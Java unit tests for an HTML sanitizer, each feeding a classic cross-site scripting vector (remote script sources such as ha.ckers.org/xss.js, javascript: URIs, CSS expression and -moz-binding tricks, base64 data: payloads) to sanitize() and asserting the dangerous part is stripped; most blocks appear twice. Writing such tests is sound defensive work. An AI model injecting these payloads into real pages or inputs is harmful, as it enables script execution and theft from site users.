int index = Strings.toLowerCase(sanitized).indexOf(Strings.toLowerCase("<base"));
assertEquals("`" + sanitized + "` from `" + "<BaSe hReF=\"http://arbitrary.com/\">" + "` contains `" + "<base" + "`", -1, index);
String sanitized = sanitize("<OBJECT TYPE=\"text/x-scriptlet\" DATA=\"http://ha.ckers.org/scriptlet.html\"></OBJECT>");
int index = Strings.toLowerCase(sanitized).indexOf(Strings.toLowerCase("<object"));
assertEquals("`" + sanitized + "` from `" + "<OBJECT TYPE=\"text/x-scriptlet\" DATA=\"http://ha.ckers.org/scriptlet.html\"></OBJECT>" + "` contains `" + "<object" + "`", -1, index);
String sanitized = sanitize("<OBJECT TYPE=\"text/x-scriptlet\" DATA=\"http://ha.ckers.org/scriptlet.html\"></OBJECT>");
int index = Strings.toLowerCase(sanitized).indexOf(Strings.toLowerCase("<object"));
assertEquals("`" + sanitized + "` from `" + "<OBJECT TYPE=\"text/x-scriptlet\" DATA=\"http://ha.ckers.org/scriptlet.html\"></OBJECT>" + "` contains `" + "<object" + "`", -1, index);
String sanitized = sanitize("<OBJECT classid=clsid:ae24fdae-03c6-11d1-8b76-0080c744f389><param name=url value=javascript:alert('XSS')></OBJECT>");
int index = Strings.toLowerCase(sanitized).indexOf(Strings.toLowerCase("javascript"));
assertEquals("`" + sanitized + "` from `" + "<OBJECT classid=clsid:ae24fdae-03c6-11d1-8b76-0080c744f389><param name=url value=javascript:alert('XSS')></OBJECT>" + "` contains `" + "javascript" + "`", -1, index);
String sanitized = sanitize("<OBJECT classid=clsid:ae24fdae-03c6-11d1-8b76-0080c744f389><param name=url value=javascript:alert('XSS')></OBJECT>");
int index = Strings.toLowerCase(sanitized).indexOf(Strings.toLowerCase("javascript"));
assertEquals("`" + sanitized + "` from `" + "<OBJECT classid=clsid:ae24fdae-03c6-11d1-8b76-0080c744f389><param name=url value=javascript:alert('XSS')></OBJECT>" + "` contains `" + "javascript" + "`", -1, index);
String sanitized = sanitize("<EMBED SRC=\"http://ha.ckers.org/xss.swf\" AllowScriptAccess=\"always\"></EMBED>");
int index = Strings.toLowerCase(sanitized).indexOf(Strings.toLowerCase("<embed"));
assertEquals("`" + sanitized + "` from `" + "<EMBED SRC=\"http://ha.ckers.org/xss.swf\" AllowScriptAccess=\"always\"></EMBED>" + "` contains `" + "<embed" + "`", -1, index);
String sanitized = sanitize("<EMBED SRC=\"http://ha.ckers.org/xss.swf\" AllowScriptAccess=\"always\"></EMBED>");
int index = Strings.toLowerCase(sanitized).indexOf(Strings.toLowerCase("<embed"));
assertEquals("`" + sanitized + "` from `" + "<EMBED SRC=\"http://ha.ckers.org/xss.swf\" AllowScriptAccess=\"always\"></EMBED>" + "` contains `" + "<embed" + "`", -1, index);
String sanitized = sanitize("<EMBED SRC=\"data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==\" type=\"image/svg+xml\" AllowScriptAccess=\"always\"></EMBED>");
int index = Strings.toLowerCase(sanitized).indexOf(Strings.toLowerCase("<embed"));
assertEquals("`" + sanitized + "` from `" + "<EMBED SRC=\"data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==\" type=\"image/svg+xml\" AllowScriptAccess=\"always\"></EMBED>" + "` contains `" + "<embed" + "`", -1, index);
String sanitized = sanitize("<EMBED SRC=\"data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==\" type=\"image/svg+xml\" AllowScriptAccess=\"always\"></EMBED>");
int index = Strings.toLowerCase(sanitized).indexOf(Strings.toLowerCase("<embed"));
assertEquals("`" + sanitized + "` from `" + "<EMBED SRC=\"data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==\" type=\"image/svg+xml\" AllowScriptAccess=\"always\"></EMBED>" + "` contains `" + "<embed" + "`", -1, index);
String sanitized = sanitize("<SCRIPT a=\">\" SRC=\"http://ha.ckers.org/xss.js\"></SCRIPT>");
int index = Strings.toLowerCase(sanitized).indexOf(Strings.toLowerCase("<script"));
assertEquals("`" + sanitized + "` from `" + "<SCRIPT a=\">\" SRC=\"http://ha.ckers.org/xss.js\"></SCRIPT>" + "` contains `" + "<script" + "`", -1, index);
String sanitized = sanitize("<SCRIPT a=\">\" SRC=\"http://ha.ckers.org/xss.js\"></SCRIPT>");
int index = Strings.toLowerCase(sanitized).indexOf(Strings.toLowerCase("<script"));
assertEquals("`" + sanitized + "` from `" + "<SCRIPT a=\">\" SRC=\"http://ha.ckers.org/xss.js\"></SCRIPT>" + "` contains `" + "<script" + "`", -1, index);
String sanitized = sanitize("<SCRIPT a=\">\" '' SRC=\"http://ha.ckers.org/xss.js\"></SCRIPT>");
int index = Strings.toLowerCase(sanitized).indexOf(Strings.toLowerCase("<script"));
assertEquals("`" + sanitized + "` from `" + "<SCRIPT a=\">\" '' SRC=\"http://ha.ckers.org/xss.js\"></SCRIPT>" + "` contains `" + "<script" + "`", -1, index);
String sanitized = sanitize("<SCRIPT a=\">\" '' SRC=\"http://ha.ckers.org/xss.js\"></SCRIPT>");
int index = Strings.toLowerCase(sanitized).indexOf(Strings.toLowerCase("<script"));
assertEquals("`" + sanitized + "` from `" + "<SCRIPT a=\">\" '' SRC=\"http://ha.ckers.org/xss.js\"></SCRIPT>" + "` contains `" + "<script" + "`", -1, index);
String sanitized = sanitize("<SCRIPT a=`>` SRC=\"http://ha.ckers.org/xss.js\"></SCRIPT>");
int index = Strings.toLowerCase(sanitized).indexOf(Strings.toLowerCase("<script"));
assertEquals("`" + sanitized + "` from `" + "<SCRIPT a=`>` SRC=\"http://ha.ckers.org/xss.js\"></SCRIPT>" + "` contains `" + "<script" + "`", -1, index);
String sanitized = sanitize("<SCRIPT a=`>` SRC=\"http://ha.ckers.org/xss.js\"></SCRIPT>");
int index = Strings.toLowerCase(sanitized).indexOf(Strings.toLowerCase("<script"));
assertEquals("`" + sanitized + "` from `" + "<SCRIPT a=`>` SRC=\"http://ha.ckers.org/xss.js\"></SCRIPT>" + "` contains `" + "<script" + "`", -1, index);
String sanitized = sanitize("<SCRIPT a=\">'>\" SRC=\"http://ha.ckers.org/xss.js\"></SCRIPT>");
int index = Strings.toLowerCase(sanitized).indexOf(Strings.toLowerCase("<script"));
assertEquals("`" + sanitized + "` from `" + "<SCRIPT a=\">'>\" SRC=\"http://ha.ckers.org/xss.js\"></SCRIPT>" + "` contains `" + "<script" + "`", -1, index);
String sanitized = sanitize("<SCRIPT a=\">'>\" SRC=\"http://ha.ckers.org/xss.js\"></SCRIPT>");
int index = Strings.toLowerCase(sanitized).indexOf(Strings.toLowerCase("<script"));
assertEquals("`" + sanitized + "` from `" + "<SCRIPT a=\">'>\" SRC=\"http://ha.ckers.org/xss.js\"></SCRIPT>" + "` contains `" + "<script" + "`", -1, index);
String sanitized = sanitize("<SCRIPT>document.write(\"<SCRI\");</SCRIPT>PT SRC=\"http://ha.ckers.org/xss.js\"></SCRIPT>");
int index = Strings.toLowerCase(sanitized).indexOf(Strings.toLowerCase("script"));
assertEquals("`" + sanitized + "` from `" + "<SCRIPT>document.write(\"<SCRI\");</SCRIPT>PT SRC=\"http://ha.ckers.org/xss.js\"></SCRIPT>" + "` contains `" + "script" + "`", -1, index);
String sanitized = sanitize("<SCRIPT>document.write(\"<SCRI\");</SCRIPT>PT SRC=\"http://ha.ckers.org/xss.js\"></SCRIPT>");
int index = Strings.toLowerCase(sanitized).indexOf(Strings.toLowerCase("script"));
assertEquals("`" + sanitized + "` from `" + "<SCRIPT>document.write(\"<SCRI\");</SCRIPT>PT SRC=\"http://ha.ckers.org/xss.js\"></SCRIPT>" + "` contains `" + "script" + "`", -1, index);
String sanitized = sanitize("<SCRIPT SRC=http://ha.ckers.org/xss.js");
int index = Strings.toLowerCase(sanitized).indexOf(Strings.toLowerCase("<script"));
assertEquals("`" + sanitized + "` from `" + "<SCRIPT SRC=http://ha.ckers.org/xss.js" + "` contains `" + "<script" + "`", -1, index);
String sanitized = sanitize("<SCRIPT SRC=http://ha.ckers.org/xss.js");
int index = Strings.toLowerCase(sanitized).indexOf(Strings.toLowerCase("<script"));
assertEquals("`" + sanitized + "` from `" + "<SCRIPT SRC=http://ha.ckers.org/xss.js" + "` contains `" + "<script" + "`", -1, index);
String sanitized = sanitize("<div/style=\-\mo\z\-b\i\nd\in\g:\url(//business\i\nfo.co.uk\/labs\/xbl\/xbl\.xml\#xss)&>");
int index = Strings.toLowerCase(sanitized).indexOf(Strings.toLowerCase("style"));
assertEquals("`" + sanitized + "` from `" + "<div/style=\-\mo\z\-b\i\nd\in\g:\url(//business\i\nfo.co.uk\/labs\/xbl\/xbl\.xml\#xss)&>" + "` contains `" + "style" + "`", -1, index);
String sanitized = sanitize("<div/style=\-\mo\z\-b\i\nd\in\g:\url(//business\i\nfo.co.uk\/labs\/xbl\/xbl\.xml\#xss)&>");
int index = Strings.toLowerCase(sanitized).indexOf(Strings.toLowerCase("style"));
assertEquals("`" + sanitized + "` from `" + "<div/style=\-\mo\z\-b\i\nd\in\g:\url(//business\i\nfo.co.uk\/labs\/xbl\/xbl\.xml\#xss)&>" + "` contains `" + "style" + "`", -1, index);
String sanitized = sanitize("<a href='aim: &c:\\windows\\system32\\calc.exe' ini='C:\\Documents and Settings\\All Users\\Start Menu\\Programs\\Startup\\pwnd.bat'>");
int index = Strings.toLowerCase(sanitized).indexOf(Strings.toLowerCase("aim.exe"));
assertEquals("`" + sanitized + "` from `" + "<a href='aim: &c:\\windows\\system32\\calc.exe' ini='C:\\Documents and Settings\\All Users\\Start Menu\\Programs\\Startup\\pwnd.bat'>" + "` contains `" + "aim.exe" + "`", -1, index);
String sanitized = sanitize("<a href='aim: &c:\\windows\\system32\\calc.exe' ini='C:\\Documents and Settings\\All Users\\Start Menu\\Programs\\Startup\\pwnd.bat'>");
int index = Strings.toLowerCase(sanitized).indexOf(Strings.toLowerCase("aim.exe"));
assertEquals("`" + sanitized + "` from `" + "<a href='aim: &c:\\windows\\system32\\calc.exe' ini='C:\\Documents and Settings\\All Users\\Start Menu\\Programs\\Startup\\pwnd.bat'>" + "` contains `" + "aim.exe" + "`", -1, index);
String sanitized = sanitize("<!--\n<A href=\n- --><a href=javascript:alert:document.domain>test-->");
int index = Strings.toLowerCase(sanitized).indexOf(Strings.toLowerCase("javascript"));
assertEquals("`" + sanitized + "` from `" + "<!--\n<A href=\n- --><a href=javascript:alert:document.domain>test-->" + "` contains `" + "javascript" + "`", -1, index);
String sanitized = sanitize("<!--\n<A href=\n- --><a href=javascript:alert:document.domain>test-->");
int index = Strings.toLowerCase(sanitized).indexOf(Strings.toLowerCase("javascript"));
assertEquals("`" + sanitized + "` from `" + "<!--\n<A href=\n- --><a href=javascript:alert:document.domain>test-->" + "` contains `" + "javascript" + "`", -1, index);
String sanitized = sanitize("<a></a style=\"\"xx:expr/**/ession(document.appendChild(document.createElement('script')).src='http://h4k.in/i.js')\">");
int index = Strings.toLowerCase(sanitized).indexOf(Strings.toLowerCase("document"));
assertEquals("`" + sanitized + "` from `" + "<a></a style=\"\"xx:expr/**/ession(document.appendChild(document.createElement('script')).src='http://h4k.in/i.js')\">" + "` contains `" + "document" + "`", -1, index);
String sanitized = sanitize("<a></a style=\"\"xx:expr/**/ession(document.appendChild(document.createElement('script')).src='http://h4k.in/i.js')\">");
int index = Strings.toLowerCase(sanitized).indexOf(Strings.toLowerCase("document"));
assertEquals("`" + sanitized + "` from `" + "<a></a style=\"\"xx:expr/**/ession(document.appendChild(document.createElement('script')).src='http://h4k.in/i.js')\">" + "` contains `" + "document" + "`", -1, index);
} | public static void testHrefAttacks() {
String sanitized = sanitize("<LINK REL=\"stylesheet\" HREF=\"javascript:alert('XSS');\">");
int index = Strings.toLowerCase(sanitized).indexOf(Strings.toLowerCase("href"));
assertEquals("`" + sanitized + "` from `" + "<LINK REL=\"stylesheet\" HREF=\"javascript:alert('XSS');\">" + "` contains `" + "href" + "`", -1, index);
String sanitized = sanitize("<LINK REL=\"stylesheet\" HREF=\"javascript:alert('XSS');\">");
int index = Strings.toLowerCase(sanitized).indexOf(Strings.toLowerCase("href"));
assertEquals("`" + sanitized + "` from `" + "<LINK REL=\"stylesheet\" HREF=\"javascript:alert('XSS');\">" + "` contains `" + "href" + "`", -1, index);
String sanitized = sanitize("<LINK REL=\"stylesheet\" HREF=\"http://ha.ckers.org/xss.css\">");
int index = Strings.toLowerCase(sanitized).indexOf(Strings.toLowerCase("href"));
assertEquals("`" + sanitized + "` from `" + "<LINK REL=\"stylesheet\" HREF=\"http://ha.ckers.org/xss.css\">" + "` contains `" + "href" + "`", -1, index);
String sanitized = sanitize("<LINK REL=\"stylesheet\" HREF=\"http://ha.ckers.org/xss.css\">");
int index = Strings.toLowerCase(sanitized).indexOf(Strings.toLowerCase("href"));
assertEquals("`" + sanitized + "` from `" + "<LINK REL=\"stylesheet\" HREF=\"http://ha.ckers.org/xss.css\">" + "` contains `" + "href" + "`", -1, index);
String sanitized = sanitize("<STYLE>@import'http://ha.ckers.org/xss.css';</STYLE>");
int index = Strings.toLowerCase(sanitized).indexOf(Strings.toLowerCase("ha.ckers.org"));
assertEquals("`" + sanitized + "` from `" + "<STYLE>@import'http://ha.ckers.org/xss.css';</STYLE>" + "` contains `" + "ha.ckers.org" + "`", -1, index);
String sanitized = sanitize("<STYLE>@import'http://ha.ckers.org/xss.css';</STYLE>");
int index = Strings.toLowerCase(sanitized).indexOf(Strings.toLowerCase("ha.ckers.org"));
assertEquals("`" + sanitized + "` from `" + "<STYLE>@import'http://ha.ckers.org/xss.css';</STYLE>" + "` contains `" + "ha.ckers.org" + "`", -1, index);
String sanitized = sanitize("<STYLE>BODY{-moz-binding:url(\"http://ha.ckers.org/xssmoz.xml#xss\")}</STYLE>");
int index = Strings.toLowerCase(sanitized).indexOf(Strings.toLowerCase("ha.ckers.org"));
assertEquals("`" + sanitized + "` from `" + "<STYLE>BODY{-moz-binding:url(\"http://ha.ckers.org/xssmoz.xml#xss\")}</STYLE>" + "` contains `" + "ha.ckers.org" + "`", -1, index);
String sanitized = sanitize("<STYLE>BODY{-moz-binding:url(\"http://ha.ckers.org/xssmoz.xml#xss\")}</STYLE>");
int index = Strings.toLowerCase(sanitized).indexOf(Strings.toLowerCase("ha.ckers.org"));
assertEquals("`" + sanitized + "` from `" + "<STYLE>BODY{-moz-binding:url(\"http://ha.ckers.org/xssmoz.xml#xss\")}</STYLE>" + "` contains `" + "ha.ckers.org" + "`", -1, index);
String sanitized = sanitize("<STYLE>li {list-style-image: url(\"javascript:alert('XSS')\");}</STYLE><UL><LI>XSS");
int index = Strings.toLowerCase(sanitized).indexOf(Strings.toLowerCase("javascript"));
assertEquals("`" + sanitized + "` from `" + "<STYLE>li {list-style-image: url(\"javascript:alert('XSS')\");}</STYLE><UL><LI>XSS" + "` contains `" + "javascript" + "`", -1, index);
String sanitized = sanitize("<STYLE>li {list-style-image: url(\"javascript:alert('XSS')\");}</STYLE><UL><LI>XSS");
int index = Strings.toLowerCase(sanitized).indexOf(Strings.toLowerCase("javascript"));
assertEquals("`" + sanitized + "` from `" + "<STYLE>li {list-style-image: url(\"javascript:alert('XSS')\");}</STYLE><UL><LI>XSS" + "` contains `" + "javascript" + "`", -1, index);
String sanitized = sanitize("<IMG SRC='vbscript:msgbox(\"XSS\")'>");
int index = Strings.toLowerCase(sanitized).indexOf(Strings.toLowerCase("vbscript"));
assertEquals("`" + sanitized + "` from `" + "<IMG SRC='vbscript:msgbox(\"XSS\")'>" + "` contains `" + "vbscript" + "`", -1, index);
String sanitized = sanitize("<IMG SRC='vbscript:msgbox(\"XSS\")'>");
int index = Strings.toLowerCase(sanitized).indexOf(Strings.toLowerCase("vbscript"));
assertEquals("`" + sanitized + "` from `" + "<IMG SRC='vbscript:msgbox(\"XSS\")'>" + "` contains `" + "vbscript" + "`", -1, index);
String sanitized = sanitize("<META HTTP-EQUIV=\"refresh\" CONTENT=\"0; URL=http://;URL=javascript:alert('XSS');\">");
int index = Strings.toLowerCase(sanitized).indexOf(Strings.toLowerCase("<meta"));
assertEquals("`" + sanitized + "` from `" + "<META HTTP-EQUIV=\"refresh\" CONTENT=\"0; URL=http://;URL=javascript:alert('XSS');\">" + "` contains `" + "<meta" + "`", -1, index);
String sanitized = sanitize("<META HTTP-EQUIV=\"refresh\" CONTENT=\"0; URL=http://;URL=javascript:alert('XSS');\">");
int index = Strings.toLowerCase(sanitized).indexOf(Strings.toLowerCase("<meta"));
assertEquals("`" + sanitized + "` from `" + "<META HTTP-EQUIV=\"refresh\" CONTENT=\"0; URL=http://;URL=javascript:alert('XSS');\">" + "` contains `" + "<meta" + "`", -1, index);
String sanitized = sanitize("<META HTTP-EQUIV=\"refresh\" CONTENT=\"0;url=javascript:alert('XSS');\">");
int index = Strings.toLowerCase(sanitized).indexOf(Strings.toLowerCase("<meta"));
assertEquals("`" + sanitized + "` from `" + "<META HTTP-EQUIV=\"refresh\" CONTENT=\"0;url=javascript:alert('XSS');\">" + "` contains `" + "<meta" + "`", -1, index);
String sanitized = sanitize("<META HTTP-EQUIV=\"refresh\" CONTENT=\"0;url=javascript:alert('XSS');\">");
int index = Strings.toLowerCase(sanitized).indexOf(Strings.toLowerCase("<meta"));
assertEquals("`" + sanitized + "` from `" + "<META HTTP-EQUIV=\"refresh\" CONTENT=\"0;url=javascript:alert('XSS');\">" + "` contains `" + "<meta" + "`", -1, index);
String sanitized = sanitize("<META HTTP-EQUIV=\"refresh\" CONTENT=\"0;url=data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K\">");
int index = Strings.toLowerCase(sanitized).indexOf(Strings.toLowerCase("<meta"));
assertEquals("`" + sanitized + "` from `" + "<META HTTP-EQUIV=\"refresh\" CONTENT=\"0;url=data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K\">" + "` contains `" + "<meta" + "`", -1, index);
String sanitized = sanitize("<META HTTP-EQUIV=\"refresh\" CONTENT=\"0;url=data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K\">");
int index = Strings.toLowerCase(sanitized).indexOf(Strings.toLowerCase("<meta"));
assertEquals("`" + sanitized + "` from `" + "<META HTTP-EQUIV=\"refresh\" CONTENT=\"0;url=data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K\">" + "` contains `" + "<meta" + "`", -1, index);
String sanitized = sanitize("<IFRAME SRC=\"javascript:alert('XSS');\"></IFRAME>");
int index = Strings.toLowerCase(sanitized).indexOf(Strings.toLowerCase("iframe"));
assertEquals("`" + sanitized + "` from `" + "<IFRAME SRC=\"javascript:alert('XSS');\"></IFRAME>" + "` contains `" + "iframe" + "`", -1, index);
String sanitized = sanitize("<IFRAME SRC=\"javascript:alert('XSS');\"></IFRAME>");
int index = Strings.toLowerCase(sanitized).indexOf(Strings.toLowerCase("iframe"));
assertEquals("`" + sanitized + "` from `" + "<IFRAME SRC=\"javascript:alert('XSS');\"></IFRAME>" + "` contains `" + "iframe" + "`", -1, index);
String sanitized = sanitize("<FRAMESET><FRAME SRC=\"javascript:alert('XSS');\"></FRAMESET>");
int index = Strings.toLowerCase(sanitized).indexOf(Strings.toLowerCase("javascript"));
assertEquals("`" + sanitized + "` from `" + "<FRAMESET><FRAME SRC=\"javascript:alert('XSS');\"></FRAMESET>" + "` contains `" + "javascript" + "`", -1, index);
String sanitized = sanitize("<FRAMESET><FRAME SRC=\"javascript:alert('XSS');\"></FRAMESET>");
int index = Strings.toLowerCase(sanitized).indexOf(Strings.toLowerCase("javascript"));
assertEquals("`" + sanitized + "` from `" + "<FRAMESET><FRAME SRC=\"javascript:alert('XSS');\"></FRAMESET>" + "` contains `" + "javascript" + "`", -1, index);
String sanitized = sanitize("<TABLE BACKGROUND=\"javascript:alert('XSS')\">");
int index = Strings.toLowerCase(sanitized).indexOf(Strings.toLowerCase("background"));
assertEquals("`" + sanitized + "` from `" + "<TABLE BACKGROUND=\"javascript:alert('XSS')\">" + "` contains `" + "background" + "`", -1, index);
String sanitized = sanitize("<TABLE BACKGROUND=\"javascript:alert('XSS')\">");
int index = Strings.toLowerCase(sanitized).indexOf(Strings.toLowerCase("background"));
assertEquals("`" + sanitized + "` from `" + "<TABLE BACKGROUND=\"javascript:alert('XSS')\">" + "` contains `" + "background" + "`", -1, index);
String sanitized = sanitize("<TABLE><TD BACKGROUND=\"javascript:alert('XSS')\">");
int index = Strings.toLowerCase(sanitized).indexOf(Strings.toLowerCase("background"));
assertEquals("`" + sanitized + "` from `" + "<TABLE><TD BACKGROUND=\"javascript:alert('XSS')\">" + "` contains `" + "background" + "`", -1, index);
String sanitized = sanitize("<TABLE><TD BACKGROUND=\"javascript:alert('XSS')\">");
int index = Strings.toLowerCase(sanitized).indexOf(Strings.toLowerCase("background"));
assertEquals("`" + sanitized + "` from `" + "<TABLE><TD BACKGROUND=\"javascript:alert('XSS')\">" + "` contains `" + "background" + "`", -1, index);
String sanitized = sanitize("<DIV STYLE=\"background-image: url(javascript:alert('XSS'))\">");
int index = Strings.toLowerCase(sanitized).indexOf(Strings.toLowerCase("javascript"));
assertEquals("`" + sanitized + "` from `" + "<DIV STYLE=\"background-image: url(javascript:alert('XSS'))\">" + "` contains `" + "javascript" + "`", -1, index);
String sanitized = sanitize("<DIV STYLE=\"background-image: url(javascript:alert('XSS'))\">");
int index = Strings.toLowerCase(sanitized).indexOf(Strings.toLowerCase("javascript"));
assertEquals("`" + sanitized + "` from `" + "<DIV STYLE=\"background-image: url(javascript:alert('XSS'))\">" + "` contains `" + "javascript" + "`", -1, index);
String sanitized = sanitize("<DIV STYLE=\"width: expression(alert('XSS'));\">");
int index = Strings.toLowerCase(sanitized).indexOf(Strings.toLowerCase("alert"));
assertEquals("`" + sanitized + "` from `" + "<DIV STYLE=\"width: expression(alert('XSS'));\">" + "` contains `" + "alert" + "`", -1, index);
String sanitized = sanitize("<DIV STYLE=\"width: expression(alert('XSS'));\">");
int index = Strings.toLowerCase(sanitized).indexOf(Strings.toLowerCase("alert"));
assertEquals("`" + sanitized + "` from `" + "<DIV STYLE=\"width: expression(alert('XSS'));\">" + "` contains `" + "alert" + "`", -1, index);
String sanitized = sanitize("<IMG STYLE=\"xss:expr/*XSS*/ession(alert('XSS'))\">");
int index = Strings.toLowerCase(sanitized).indexOf(Strings.toLowerCase("alert"));
assertEquals("`" + sanitized + "` from `" + "<IMG STYLE=\"xss:expr/*XSS*/ession(alert('XSS'))\">" + "` contains `" + "alert" + "`", -1, index);
String sanitized = sanitize("<IMG STYLE=\"xss:expr/*XSS*/ession(alert('XSS'))\">");
int index = Strings.toLowerCase(sanitized).indexOf(Strings.toLowerCase("alert"));
assertEquals("`" + sanitized + "` from `" + "<IMG STYLE=\"xss:expr/*XSS*/ession(alert('XSS'))\">" + "` contains `" + "alert" + "`", -1, index);
String sanitized = sanitize("<STYLE>@im\\port'\\ja\\vasc\\ript:alert(\"XSS\")';</STYLE>");
int index = Strings.toLowerCase(sanitized).indexOf(Strings.toLowerCase("ript:alert"));
assertEquals("`" + sanitized + "` from `" + "<STYLE>@im\\port'\\ja\\vasc\\ript:alert(\"XSS\")';</STYLE>" + "` contains `" + "ript:alert" + "`", -1, index);
String sanitized = sanitize("<STYLE>@im\\port'\\ja\\vasc\\ript:alert(\"XSS\")';</STYLE>");
int index = Strings.toLowerCase(sanitized).indexOf(Strings.toLowerCase("ript:alert"));
assertEquals("`" + sanitized + "` from `" + "<STYLE>@im\\port'\\ja\\vasc\\ript:alert(\"XSS\")';</STYLE>" + "` contains `" + "ript:alert" + "`", -1, index);
String sanitized = sanitize("<BASE HREF=\"javascript:alert('XSS');//\">");
int index = Strings.toLowerCase(sanitized).indexOf(Strings.toLowerCase("javascript"));
assertEquals("`" + sanitized + "` from `" + "<BASE HREF=\"javascript:alert('XSS');//\">" + "` contains `" + "javascript" + "`", -1, index);
String sanitized = sanitize("<BASE HREF=\"javascript:alert('XSS');//\">");
int index = Strings.toLowerCase(sanitized).indexOf(Strings.toLowerCase("javascript"));
assertEquals("`" + sanitized + "` from `" + "<BASE HREF=\"javascript:alert('XSS');//\">" + "` contains `" + "javascript" + "`", -1, index);
String sanitized = sanitize("<BaSe hReF=\"http://arbitrary.com/\">");
int index = Strings.toLowerCase(sanitized).indexOf(Strings.toLowerCase("<base"));
assertEquals("`" + sanitized + "` from `" + "<BaSe hReF=\"http://arbitrary.com/\">" + "` contains `" + "<base" + "`", -1, index);
String sanitized = sanitize("<BaSe hReF=\"http://arbitrary.com/\">");
int index = Strings.toLowerCase(sanitized).indexOf(Strings.toLowerCase("<base"));
assertEquals("`" + sanitized + "` from `" + "<BaSe hReF=\"http://arbitrary.com/\">" + "` contains `" + "<base" + "`", -1, index);
String sanitized = sanitize("<OBJECT TYPE=\"text/x-scriptlet\" DATA=\"http://ha.ckers.org/scriptlet.html\"></OBJECT>");
int index = Strings.toLowerCase(sanitized).indexOf(Strings.toLowerCase("<object"));
assertEquals("`" + sanitized + "` from `" + "<OBJECT TYPE=\"text/x-scriptlet\" DATA=\"http://ha.ckers.org/scriptlet.html\"></OBJECT>" + "` contains `" + "<object" + "`", -1, index);
String sanitized = sanitize("<OBJECT TYPE=\"text/x-scriptlet\" DATA=\"http://ha.ckers.org/scriptlet.html\"></OBJECT>");
int index = Strings.toLowerCase(sanitized).indexOf(Strings.toLowerCase("<object"));
assertEquals("`" + sanitized + "` from `" + "<OBJECT TYPE=\"text/x-scriptlet\" DATA=\"http://ha.ckers.org/scriptlet.html\"></OBJECT>" + "` contains `" + "<object" + "`", -1, index);
String sanitized = sanitize("<OBJECT classid=clsid:ae24fdae-03c6-11d1-8b76-0080c744f389><param name=url value=javascript:alert('XSS')></OBJECT>");
int index = Strings.toLowerCase(sanitized).indexOf(Strings.toLowerCase("javascript"));
assertEquals("`" + sanitized + "` from `" + "<OBJECT classid=clsid:ae24fdae-03c6-11d1-8b76-0080c744f389><param name=url value=javascript:alert('XSS')></OBJECT>" + "` contains `" + "javascript" + "`", -1, index);
String sanitized = sanitize("<OBJECT classid=clsid:ae24fdae-03c6-11d1-8b76-0080c744f389><param name=url value=javascript:alert('XSS')></OBJECT>");
int index = Strings.toLowerCase(sanitized).indexOf(Strings.toLowerCase("javascript"));
assertEquals("`" + sanitized + "` from `" + "<OBJECT classid=clsid:ae24fdae-03c6-11d1-8b76-0080c744f389><param name=url value=javascript:alert('XSS')></OBJECT>" + "` contains `" + "javascript" + "`", -1, index);
String sanitized = sanitize("<EMBED SRC=\"http://ha.ckers.org/xss.swf\" AllowScriptAccess=\"always\"></EMBED>");
int index = Strings.toLowerCase(sanitized).indexOf(Strings.toLowerCase("<embed"));
assertEquals("`" + sanitized + "` from `" + "<EMBED SRC=\"http://ha.ckers.org/xss.swf\" AllowScriptAccess=\"always\"></EMBED>" + "` contains `" + "<embed" + "`", -1, index);
String sanitized = sanitize("<EMBED SRC=\"http://ha.ckers.org/xss.swf\" AllowScriptAccess=\"always\"></EMBED>");
int index = Strings.toLowerCase(sanitized).indexOf(Strings.toLowerCase("<embed"));
assertEquals("`" + sanitized + "` from `" + "<EMBED SRC=\"http://ha.ckers.org/xss.swf\" AllowScriptAccess=\"always\"></EMBED>" + "` contains `" + "<embed" + "`", -1, index);
